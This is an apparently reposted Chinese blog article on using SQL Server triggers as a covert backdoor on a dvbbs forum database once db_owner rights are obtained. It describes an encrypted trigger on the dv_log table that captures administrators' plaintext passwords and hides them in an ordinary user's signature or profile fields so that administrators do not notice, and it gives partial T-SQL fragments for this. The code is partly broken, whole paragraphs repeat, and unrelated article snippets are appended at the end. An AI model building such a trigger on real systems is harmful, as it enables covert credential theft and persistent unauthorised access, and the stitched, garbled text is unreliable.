講解SQL Server資料庫觸發器的安全隱患

2021-05-01 15:02:41 字數 3170 閱讀 4358

摘要:

本文以動網論壇dvbbs為例,我們已經拿到了db_owner許可權(注意:並不是說dvbbs本身有漏洞)。因為只是db_owner許可權,所以讀者想去執行「xp_cmdshell」,就不在本文範圍了,相信讀過本文後,只要有系統許可權,做個系統的後門也是簡單的。先回想一下通常我們使用資料庫時要做什麼和關心什麼。

觸發器許可權和所有權

create trigger 許可權預設授予定義觸發器的表所有者、sysadmin 固定伺服器角色成員以及 db_owner 和 db_ddladmin 固定資料庫角色成員,並且不可轉讓。

需要的環境

本文需要的環境是已經獲取了sql伺服器的以上其中乙個許可權,目的是為了留下隱蔽的後門,不被管理員發現。即使發現了也是加密的(可以破解,不過有些管理員不懂,也不會注意,相關資訊google下)。

觸發器是在對錶進行插入(insert)、更新(update)或刪除(delete)操作時,自動執行的儲存過程。最常見用於執行敏感資料操作時做歷史記錄。

本文以動網論壇dvbbs為例,我們已經拿到了db_owner許可權(注意:並不是說dvbbs本身有漏洞)。因為只是db_owner許可權,所以讀者想去執行「xp_cmdshell」,就不在本文範圍了,相信讀過本文後,只要有系統許可權,做個系統的後門也是簡單的。先回想一下通常我們使用資料庫時要做什麼和關心什麼。

為什麼要使用觸發器作後門?

管理員首先會把sql檔案執行下,然後匯入mdb的內容,平時使用頂多備份下,還原下。通常不會有人去看觸發器的內容,檢視觸發器可以使用命令「exec sp_helptrigger 'dv_admin'」,或者在企業管理器中選擇「管理觸發器」。因為動網根本沒有用到觸發器,也沒有提到觸發器,所以動網的管理員不會去看的。於是我們在裡面寫的內容就相對安全了。

思路

觸發器主要是用來做歷史記錄的,當然可以把管理員更改密碼和新增使用者的歷史記錄下。放進乙個管理員通常不會注意的、普通使用者又可以看到的地方。

動網的密碼有md5加過密的,加密的操作是asp程式在伺服器上來完成的,等資料庫拿到資料的時候已經是加過密的了。但是動網同時把密碼以明文方式放入dv_log表中,就給了我們方便。只要拿到dv_log表中l_content欄位的內容,然後判斷是否管理員在執行敏感操作,後門思路就形成了。

使用過程――**解析

**片斷:建立觸發器。

create trigger dv_admin_history 

on dv_log

with encryption

for insertas

as

觸發器需要建立在dv_log表上,這裡放入的是明文密碼。我們並不知道管理員密碼設定有多長,只能是把裡面的有密碼的字段內容全部取出。觸發器最好是加密的,加密後,管理員即使看到了,也不知道這裡是什麼東西。在insert(加入)資料時執行觸發器。

取出來的值應該放入乙個普通使用者能看到的地方,這樣只要有了普通使用者的許可權就可以看到密碼。動網資料庫中,最大並且可以存放資料的字段管理員通常都會看到。所以必須找出來乙個管理員不會看,而其他使用者也不會注意的地方。

有以下幾個字段適於存放:2、usersign,字段型別:varchar(255)。汪財的簽名,如果放這裡,汪財就不能發貼了,否則後果自負(發貼會顯示簽名,地球人都能看到)。

3、useremail,字段型別:nvarchar(255)。汪財的email,使用時需要轉換型別。

4、userinfo,字段型別:text。汪財的使用者資料。該字段很特殊,有很多「」,每一對「」之間都有著不同的含義。動網很懶的,為了避免欄位太多,就把一堆資訊全都放入乙個欄位裡,用「」分開,當查詢某一項資訊時,取出來全部,然後分割下,就是需要的資料了。 

解決的問題:

1、如果都放滿了, 理論上,如果我們看到了第乙個欄位有了東西,就應該拿筆記下來,然後刪除掉。觸發器會自動檢查大小後繼續使用。再次強調下,本文例子針對動網,大家應該具體問題具體分析。

2、管理員的日誌中,有很多日誌,怎麼判斷它就是在記錄更改密碼。

在管理員操作使用者時,當然會在「user.asp」或者「admin.asp」中操作,所以我們判斷條件需要:

select @passinfo = l_content from inserted where l_type = 1 

and (l_touser = 'user.asp' or l_touser = 'admin.asp')

在l_touser為user.asp或者admin.asp時,說明管理員在操作(檢視,更新,刪除)使用者或者管理員。在l_type = 1時,說明執行了更新操作,l_content欄位裡面有密碼(如果管理員更新了密碼,或者新建了帳戶)。因此,查詢inserted表中的l_content,賦值給@passinfo**片斷:更新汪財的usersign欄位。

if (len(@usersign) < 150 or @usersign is null) 

begin if (@usersign is null)

set @usersign = ' '

set @passinfo = @usersign + @passinfo

update dv_user set usersign = @passinfo where username = @username

commit tran

returnend

end

首次更新時,usersign欄位裡沒有內容,而sql server裡null加任何數都是null,所以需要判斷is null之後,給null賦值為乙個空格。其他幾個欄位的方法和這裡大同小異,只是乙個轉換nvarchar和「」的組合時多了點。最後判斷如果字段內容太多就不再寫了,為了提高效能,也可以把最後的判斷寫在前面,一旦資料過多,就不需要再繼續執行了。

首次更新時,汪財的usersign欄位裡沒有內容,而sql server裡null加任何數都是null,所以需要判斷is null之後,給null賦值為乙個空格。其他幾個欄位的方法和這裡大同小異,只是乙個轉換nvarchar和「」的組合時多了點。最後判斷如果字段內容太多就不再寫了,為了提高效能,也可以把最後的判斷寫在前面,一旦資料過多,就不需要再繼續執行了。

詳細講解SQL Server資料庫的檔案恢復技術

詳細講解sql server資料庫的檔案恢復技術 sql server 有兩種備份方式,一種是使用 backup database 將資料庫檔案備份出去,另外一種就是直接拷貝資料庫檔案 mdf和日誌檔案 ldf的方式。sqlserver 有兩種備份方式,一種是使用 backupdatabase 將資...

Sql Server資料庫觸發器例項講解

定義 何為觸發器?在sql server裡面也就是對某乙個表的一定的操作,觸發某種條件,從而執行的一段程式。觸發器是乙個特殊的儲存過程。常見的觸發器有三種 分別應用於insert update delete 事件。sql server 2000定義了新的觸發器,這裡不提 我為什麼要使用觸發器?比如,...

Sql Server資料庫觸發器例項講解

別處轉的 定義 何為觸發器?在sql server裡面也就是對某乙個表的一定的操作,觸發某種條件,從而執行的一段程式。觸發器是乙個特殊的儲存過程。常見的觸發器有三種 分別應用於insert update delete 事件。sql server 2000定義了新的觸發器,這裡不提 我為什麼要使用觸發...